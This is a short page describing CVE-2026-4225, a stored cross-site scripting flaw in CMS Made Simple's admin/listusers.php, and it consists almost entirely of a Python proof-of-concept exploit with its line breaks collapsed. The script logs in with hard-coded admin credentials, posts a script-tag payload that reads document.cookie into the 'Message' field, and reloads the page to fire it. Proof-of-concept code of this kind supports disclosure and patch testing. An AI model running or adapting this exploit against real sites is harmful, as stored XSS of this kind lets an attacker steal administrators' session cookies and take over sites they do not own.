CVE-2026-4225 CMS Made Simple跨站脚本漏洞

import requests # CVE-2026-4225 PoC - CMS Made Simple XSS in admin/listusers.php # Target: CMS Made Simple <= 2.2.21 target_url = "http://target-site.com/" admin_path = "admin/listusers.php" login_url = target_url + "admin/login.php" # Malicious XSS payload xss_payload = "<script>alert(document.cookie)</script>" # Step 1: Login as admin session = requests.Session() login_data = { "username": "admin", "password": "admin123", "loginsubmit": "Submit" } response = session.post(login_url, data=login_data) # Step 2: Inject XSS payload via Message parameter inject_url = target_url + admin_path inject_data = { "Message": xss_payload, "user_id": "1", "submit": "Save" } response = session.post(inject_url, data=inject_data) # Step 3: Visit the page to trigger XSS response = session.get(inject_url) print("XSS payload injected successfully") print("When admin visits listusers.php, the alert will be triggered")